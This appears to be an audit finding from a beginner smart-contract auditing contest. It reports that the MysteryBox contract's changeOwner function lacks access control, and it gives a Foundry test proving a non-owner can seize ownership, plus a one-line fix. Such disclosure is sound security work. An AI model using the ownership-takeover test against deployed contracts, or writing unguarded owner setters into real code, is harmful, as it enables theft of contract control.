Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Missing access control for the `changeOwner` function making possible for anyone to change the `MysteryBox` contract ownership

Summary

The MysteryBox::changeOwner function is missing access control.

Vulnerability Details

The MysteryBox::changeOwner function doesn't check if the caller (msg.sender) is the owner of the contract before assigning the specified address of the _newOwner parameter to the owner variable.

https://github.com/Cyfrin/2024-09-mystery-box/blob/281a3e35761a171ba134e574473565a1afb56b68/src/MysteryBox.sol#L111-L113

Proof of Concept

Add this test to the test suite:

function test_changeOwnerIsMissingAccessControl() public {
// Check if `owner` is the owner of the MysteryBox contract
assertEq(mysteryBox.owner(), owner);
// Impersonates a non-owner address `user1`
vm.startPrank(user1);
// Give the ownership of the MysteryBox contract to `user2`
mysteryBox.changeOwner(user2);
// Stops impersonating `user1`
vm.stopPrank();
// Check if `user2` is the new owner of the MysteryBox contract
assertEq(mysteryBox.owner(), user2);
}

And execute it:

forge test --match-test test_changeOwnerIsMissingAccessControl

Impact

Anyone can change the owner of the contract to an arbitrary address.

Tools Used

  • Manual review

  • GNU Emacs (solidity-mode)

  • Foundry tests

Recommendations

Modify the MysteryBox::changeOwner function, checking if the caller is the MysteryBox contract owner:

modified src/MysteryBox.sol
@@ -109,6 +109,7 @@ contract MysteryBox {
}
function changeOwner(address _newOwner) public {
+ require(msg.sender == owner, "Only the owner can change the contract ownership");
owner = _newOwner;
}
}
Updates

Appeal created

inallhonesty Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can change owner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.